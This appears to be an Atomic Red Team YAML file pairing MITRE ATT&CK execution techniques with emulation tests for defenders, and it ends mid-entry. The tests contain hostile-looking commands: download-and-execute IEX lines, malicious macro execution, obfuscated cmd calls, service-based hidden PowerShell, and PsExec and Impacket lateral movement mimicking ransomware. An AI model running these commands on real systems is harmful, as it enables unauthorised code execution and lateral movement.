      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62
      created: '2020-03-09T14:12:31.196Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1059/003
        external_id: T1059.003
      - source_name: SSH in Windows
        description: 'Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal.
          Retrieved July 26, 2021.'
        url: https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1059.003
    atomic_tests:
    - name: Create and Execute Batch Script
      auto_generated_guid: 9e8894c0-50bd-4525-a96c-d4ac78ece388
      description: 'Creates and executes a simple batch script. Upon execution, CMD
        will briefly launch to run the batch script then close again.

        '
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: Command to execute within script.
          type: string
          default: dir
        script_path:
          description: Script path.
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1059.003_script.bat
      dependency_executor_name: powershell
      dependencies:
      - description: 'Batch file must exist on disk at specified location (#{script_path})

          '
        prereq_command: 'if (Test-Path "#{script_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item "#{script_path}" -Force | Out-Null
          Set-Content -Path "#{script_path}" -Value "#{command_to_execute}"
      executor:
        command: 'Start-Process "#{script_path}"

          '
        cleanup_command: 'Remove-Item "#{script_path}" -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Writes text to a file and displays it.
      auto_generated_guid: 127b4afe-2346-4192-815c-69042bec570e
      description: 'Writes text to a file and display the results. This test is intended
        to emulate the dropping of a malicious file to disk.

        '
      supported_platforms:
      - windows
      input_arguments:
        file_contents_path:
          description: Path to the file that the command prompt will drop.
          type: path
          default: "%TEMP%\\test.bin"
        message:
          description: Message that will be written to disk and then displayed.
          type: string
          default: Hello from the Windows Command Prompt!
      executor:
        command: 'echo "#{message}" > "#{file_contents_path}" & type "#{file_contents_path}"

          '
        cleanup_command: 'del "#{file_contents_path}" >nul 2>&1

          '
        name: command_prompt
    - name: Suspicious Execution via Windows Command Shell
      auto_generated_guid: d0eb3597-a1b3-4d65-b33b-2cda8d397f20
      description: 'Command line executed via suspicious invocation. Example is from
        the 2021 Threat Detection Report by Red Canary.

        '
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: File to output to
          type: string
          default: hello.txt
        input_message:
          description: Message to write to file
          type: string
          default: Hello, from CMD!
      executor:
        command: "%LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file}
          & type #{output_file}\n"
        name: command_prompt
    - name: Simulate BlackByte Ransomware Print Bombing
      auto_generated_guid: 6b2903ac-8f36-450d-9ad5-b220e8a2dcb9
      description: "This test attempts to open a file a specified number of times
        in Wordpad, then prints the contents. \nIt is designed to mimic BlackByte
        ransomware's print bombing technique, where tree.dll, which contains the ransom
        note, is opened in Wordpad 75 times and then printed. \nSee https://redcanary.com/blog/blackbyte-ransomware/.
        \n"
      supported_platforms:
      - windows
      input_arguments:
        file_to_print:
          description: File to be opened/printed by Wordpad.
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\T1059_003note.txt
        max_to_print:
          description: The maximum number of Wordpad windows the test will open/print.
          type: integer
          default: 75
      dependency_executor_name: powershell
      dependencies:
      - description: 'File to print must exist on disk at specified location (#{file_to_print})

          '
        prereq_command: 'if (test-path "#{file_to_print}"){exit 0} else {exit 1}

          '
        get_prereq_command: 'new-item "#{file_to_print}" -value "This file has been
          created by T1059.003 Test 4" -Force | Out-Null

          '
      executor:
        command: 'cmd /c "for /l %x in (1,1,#{max_to_print}) do start wordpad.exe
          /p #{file_to_print}" | out-null

          '
        cleanup_command: 'stop-process -name wordpad -force -erroraction silentlycontinue

          '
        name: powershell
    - name: Command Prompt read contents from CMD file and execute
      auto_generated_guid: df81db1b-066c-4802-9bc8-b6d030c3ba8e
      description: "Simulate Raspberry Robin using the \"standard-in\" command prompt
        feature cmd `/R <` to read and execute a file via cmd.exe\nSee https://redcanary.com/blog/raspberry-robin/.
        \n"
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: CMD file that is read by Command Prompt and execute, which
            launches calc.exe
          type: path
          default: PathToAtomicsFolder\T1059.003\src\t1059.003_cmd.cmd
      dependency_executor_name: powershell
      dependencies:
      - description: 'CMD file must exist on disk at specified location (#{input_file})

          '
        prereq_command: 'if (Test-Path "#{input_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{input_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1059.003/src/t1059.003_cmd.cmd" -OutFile "#{input_file}"
      executor:
        command: 'cmd /r cmd<"#{input_file}"

          '
        name: command_prompt
        elevation_required: false
    - name: Command prompt writing script to file then executes it
      auto_generated_guid: '00682c9f-7df4-4df8-950b-6dcaaa3ad9af'
      description: |2-
            Simulate DarkGate malware's second stage by writing a VBscript to disk directly from the command prompt then executing it.
            The script will execute 'whoami' then exit.
      supported_platforms:
      - windows
      input_arguments:
        script_path:
          description: Path in which the script will be written.
          type: path
          default: "%TEMP%\\"
        script_name:
          description: Script name (without the extension)
          type: string
          default: AtomicTest
      executor:
        command: ' c:\windows\system32\cmd.exe /c cd /d #{script_path} & echo Set
          objShell = CreateObject("WScript.Shell"):Set objExec = objShell.Exec("whoami"):Set
          objExec = Nothing:Set objShell = Nothing > #{script_name}.vbs & #{script_name}.vbs'
        cleanup_command: del "#{script_name}.vbs" >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1651:
    technique:
      modified: '2024-04-12T03:27:48.171Z'
      name: Cloud Administration Command
      description: |-
        Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)

        If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment’s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - Cisco
      - Nichols Jasper
      - Jared Wilson
      - Caio Silva
      - Adrien Bataille
      - Anders Vejlby
      - Nader Zaveri
      - Tamir Yehuda
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - IaaS
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Script: Script Execution'
      x_mitre_remote_support: false
      type: attack-pattern
      id: attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7
      created: '2023-03-13T15:26:11.741Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1651
        external_id: T1651
      - source_name: AWS Systems Manager Run Command
        description: AWS. (n.d.). AWS Systems Manager Run Command. Retrieved March
          13, 2023.
        url: https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html
      - source_name: MSTIC Nobelium Oct 2021
        description: Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM
          targeting delegated administrative privileges to facilitate broader attacks.
          Retrieved March 25, 2022.
        url: https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/
      - source_name: Microsoft Run Command
        description: Microsoft. (2023, March 10). Run scripts in your VM by using
          Run Command. Retrieved March 13, 2023.
        url: https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1059.005:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Command and Scripting Interpreter: Visual Basic'
      description: |-
        Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)

        Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)

        Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.

        Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Script: Script Execution'
      x_mitre_remote_support: false
      type: attack-pattern
      id: attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67
      created: '2020-03-09T14:29:51.508Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1059/005
        external_id: T1059.005
      - source_name: VB .NET Mar 2020
        description: ".NET Team. (2020, March 11). Visual Basic support planned for
          .NET 5.0. Retrieved June 23, 2020."
        url: https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/
      - source_name: 'Default VBS macros Blocking '
        description: 'Kellie Eickmeyer. (2022, February 7). Helping users stay safe:
          Blocking internet macros by default in Office. Retrieved February 7, 2022.'
        url: https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805
      - source_name: Microsoft VBScript
        description: Microsoft. (2011, April 19). What Is VBScript?. Retrieved March
          28, 2020.
        url: https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)
      - source_name: Microsoft VBA
        description: Microsoft. (2019, June 11). Office VBA Reference. Retrieved June
          23, 2020.
        url: https://docs.microsoft.com/office/vba/api/overview/
      - source_name: VB Microsoft
        description: Microsoft. (n.d.). Visual Basic documentation. Retrieved June
          23, 2020.
        url: https://docs.microsoft.com/dotnet/visual-basic/
      - source_name: Wikipedia VBA
        description: Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August
          13, 2020.
        url: https://en.wikipedia.org/wiki/Visual_Basic_for_Applications
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1059.005
    atomic_tests:
    - name: Visual Basic script execution to gather local computer information
      auto_generated_guid: 1620de42-160a-4fe5-bbaf-d3fef0181ce9
      description: |-
        Visual Basic execution test, execute vbscript via PowerShell.

        When successful, system information will be written to $env:TEMP\T1059.005.out.txt.
      supported_platforms:
      - windows
      input_arguments:
        vbscript:
          description: Path to sample script
          type: string
          default: PathToAtomicsFolder\T1059.005\src\sys_info.vbs
      dependency_executor_name: powershell
      dependencies:
      - description: Sample script must exist on disk at specified location (#{vbscript})
        prereq_command: 'if (Test-Path "#{vbscript}") {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          New-Item -ItemType Directory (Split-Path "#{vbscript}") -Force | Out-Null
          Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.005/src/sys_info.vbs" -OutFile "#{vbscript}"
      executor:
        command: 'cscript "#{vbscript}" > $env:TEMP\T1059.005.out.txt

          '
        cleanup_command: Remove-Item $env:TEMP\T1059.005.out.txt -ErrorAction Ignore
        name: powershell
    - name: Encoded VBS code execution
      auto_generated_guid: e8209d5f-e42d-45e6-9c2f-633ac4f1eefa
      description: |
        This module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution
        a message box will pop up displaying "ART T1059.005"

        A note regarding this module, due to the way that this module utilizes "ScriptControl" a 64bit version of Microsoft Office is required.
        You can validate this by opening WinWord -> File -> Account -> About Word
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'The 64-bit version of Microsoft Office must be installed

          '
        prereq_command: |
          try {
            $wdApp = New-Object -COMObject "Word.Application"
            $path = $wdApp.Path
            Stop-Process -Name "winword"
            if ($path.contains("(x86)")) { exit 1 } else { exit 0 }
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word (64-bit)
          manually to meet this requirement"

          '
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059.005-macrocode.txt" -officeProduct "Word" -sub "Exec"
        cleanup_command: 'Get-WmiObject win32_process | Where-Object {$_.CommandLine
          -like "*mshta*"}  | % { "$(Stop-Process $_.ProcessID)" } | Out-Null

          '
        name: powershell
    - name: Extract Memory via VBA
      auto_generated_guid: 8faff437-a114-4547-9a60-749652a03df6
      description: |
        This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this
        we first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that
        memory location to a file stored in the $env:TEMP\atomic_t1059_005_test_output.bin.
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: string
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

          '
      executor:
        command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\"
          -UseBasicParsing) \nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1059.005\\src\\T1059_005-macrocode.txt\"
          -officeProduct \"Word\" -sub \"Extract\"\n"
        cleanup_command: 'Remove-Item "$env:TEMP\atomic_t1059_005_test_output.bin"
          -ErrorAction Ignore

          '
        name: powershell
  T1648:
    technique:
      modified: '2024-03-05T16:13:38.643Z'
      name: Serverless Execution
      description: "Adversaries may abuse serverless computing, integration, and automation
        services to execute arbitrary code in cloud environments. Many cloud providers
        offer a variety of serverless resources, including compute engines, application
        integration services, and web servers. \n\nAdversaries may abuse these resources
        in various ways as a means of executing arbitrary commands. For example, adversaries
        may use serverless functions to execute malicious code, such as crypto-mining
        malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation:
        Cado Security Denonia) Adversaries may also create functions that enable further
        compromise of the cloud environment. For example, an adversary may use the
        `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission
        in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)
        to a serverless cloud function, which may then be able to perform actions
        the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation:
        Rhingo Security Labs GCP Privilege Escalation)\n\nServerless functions can
        also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)),
        potentially enabling persistent execution over time. For example, in AWS environments,
        an adversary may create a Lambda function that automatically adds [Additional
        Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user
        and a corresponding CloudWatch events rule that invokes that function whenever
        a new user is created.(Citation: Backdooring an AWS account) Similarly, an
        adversary may create a Power Automate workflow in Office 365 environments
        that forwards all emails a user receives or creates anonymous sharing links
        whenever a user is granted access to a document in SharePoint.(Citation: Varonis
        Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - Shailesh Tiwary (Indian Army)
      - Praetorian
      - Oleg Kolesnikov, Securonix
      - Cisco
      - Varonis Threat Labs
      - Alex Soler, AttackIQ
      - Vectra AI
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - SaaS
      - IaaS
      - Office 365
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Cloud Service: Cloud Service Modification'
      - 'Application Log: Application Log Content'
      x_mitre_remote_support: false
      type: attack-pattern
      id: attack-pattern--e848506b-8484-4410-8017-3d235a52f5b3
      created: '2022-05-27T13:19:51.112Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1648
        external_id: T1648
      - source_name: Microsoft DART Case Report 001
        description: Berk Veral. (2020, March 9). Real-life cybercrime stories from
          DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.
        url: https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team
      - source_name: Backdooring an AWS account
        description: Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved
          May 27, 2022.
        url: https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9
      - source_name: Varonis Power Automate Data Exfiltration
        description: Eric Saraga. (2022, February 2). Using Power Automate for Covert
          Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.
        url: https://www.varonis.com/blog/power-automate-data-exfiltration
      - source_name: Cado Security Denonia
        description: 'Matt Muir. (2022, April 6). Cado Discovers Denonia: The First
          Malware Specifically Targeting Lambda. Retrieved May 27, 2022.'
        url: https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/
      - source_name: Rhino Security Labs AWS Privilege Escalation
        description: Rhino Security Labs. (n.d.). AWS IAM Privilege Escalation – Methods
          and Mitigation. Retrieved May 27, 2022.
        url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
      - source_name: Rhingo Security Labs GCP Privilege Escalation
        description: Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud
          Platform – Part 1 (IAM). Retrieved May 27, 2022.
        url: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1204.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9
      type: attack-pattern
      created: '2020-03-11T14:43:31.706Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1204.001
        url: https://attack.mitre.org/techniques/T1204/001
      modified: '2021-04-29T14:49:39.188Z'
      name: Malicious Link
      description: An adversary may rely upon a user clicking a malicious link in
        order to gain execution. Users may be subjected to social engineering to get
        them to click on a link that will lead to code execution. This user action
        will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).
        Clicking on a link may also lead to other execution techniques such as exploitation
        of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).
        Links may also lead users to download files that require execution via [Malicious
        File](https://attack.mitre.org/techniques/T1204/002).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_detection: |-
        Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.

        Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1569.002:
    technique:
      modified: '2023-08-14T15:53:00.999Z'
      name: 'System Services: Service Execution'
      description: |-
        Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).

        [PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution.

        Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_deprecated: false
      x_mitre_detection: Changes to service Registry entries and command line invocation
        of tools capable of modifying services that do not correlate with known software,
        patch cycles, etc., may be suspicious. If a service is used only to execute
        a binary or script and not to persist, then it will likely be changed back
        to its original form shortly after the service is restarted so the service
        is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Network Traffic: Network Traffic Flow'
      - 'Service: Service Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4
      created: '2020-03-10T18:33:36.159Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1569/002
        external_id: T1569.002
      - source_name: Microsoft Service Control Manager
        description: Microsoft. (2018, May 31). Service Control Manager. Retrieved
          March 28, 2020.
        url: https://docs.microsoft.com/windows/win32/services/service-control-manager
      - source_name: Russinovich Sysinternals
        description: Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11.
          Retrieved May 13, 2015.
        url: https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1569.002
    atomic_tests:
    - name: Execute a Command as a Service
      auto_generated_guid: 2382dee2-a75f-49aa-9378-f52df6ed3fb1
      description: "Creates a service specifying an arbitrary command and executes
        it. When executing commands such as PowerShell, the service will report that
        it did not start correctly even when code executes properly.\n\nUpon successful
        execution, cmd.exe creates a new service using sc.exe that will start powershell.exe
        to create a new file `art-marker.txt`\n\n[BlackCat Ransomware (ALPHV)](https://www.varonis.com/blog/blackcat-ransomware)
        \ \n[Cybereason vs. BlackCat Ransomware](https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware)\n"
      supported_platforms:
      - windows
      input_arguments:
        service_name:
          description: Name of service to create
          type: string
          default: ARTService
        executable_command:
          description: Command to execute as a service
          type: string
          default: "%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType
            File C:\\art-marker.txt"
      executor:
        command: |
          sc.exe create #{service_name} binPath= "#{executable_command}"
          sc.exe start #{service_name}
          sc.exe delete #{service_name}
        cleanup_command: 'del C:\art-marker.txt >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Use PsExec to execute a command on a remote host
      auto_generated_guid: 873106b7-cfed-454b-8680-fa9f6400431c
      description: |
        Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments
        Will start a process on a remote host.

        Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).
      supported_platforms:
      - windows
      input_arguments:
        remote_host:
          description: Remote hostname or IP address
          type: string
          default: localhost
        user_name:
          description: Username
          type: string
          default: DOMAIN\Administrator
        password:
          description: Password
          type: string
          default: P@ssw0rd1
      dependency_executor_name: powershell
      dependencies:
      - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads
          directory

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe")
          { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{remote_host}
          -u #{user_name} -p #{password} -accepteula "C:\Windows\System32\calc.exe"

          '
        name: command_prompt
    - name: psexec.py (Impacket)
      auto_generated_guid: edbcd8c9-3639-4844-afad-455c91e95a35
      description: 'Will execute a command on the remote host with Impacket psexec.py
        script.

        '
      supported_platforms:
      - linux
      input_arguments:
        remote_host:
          description: Remote hostname or IP address
          type: string
          default: 127.0.0.1
        username:
          description: Username
          type: string
          default: Administrator
        domain:
          description: Target domain
          type: string
          default: ''
        password:
          description: Password
          type: string
          default: P@ssw0rd1
        command:
          description: Command to execute in target computer
          type: string
          default: whoami
      dependency_executor_name: bash
      dependencies:
      - description: 'psexec.py (Impacket)

          '
        prereq_command: 'if [ -x "$(command -v psexec.py)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'sudo pip3 install impacket

          '
      executor:
        command: 'psexec.py ''#{domain}/#{username}:#{password}@#{remote_host}'' ''#{command}''

          '
        name: bash
    - name: BlackCat pre-encryption cmds with Lateral Movement
      auto_generated_guid: 31eb7828-97d7-4067-9c1e-c6feb85edc4b
      description: This atomic attempts to emulate the unique behavior of BlackCat
        ransomware prior to encryption and during Lateral Movement attempts via PsExec
        on Windows. Uses bundled PsExec like BlackCat
      supported_platforms:
      - windows
      input_arguments:
        targethost:
          description: Target hostname to attempt psexec connection to for emulation
            of lateral movement.
          type: string
          default: "$ENV:COMPUTERNAME"
      dependencies:
      - description: 'PsExec must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
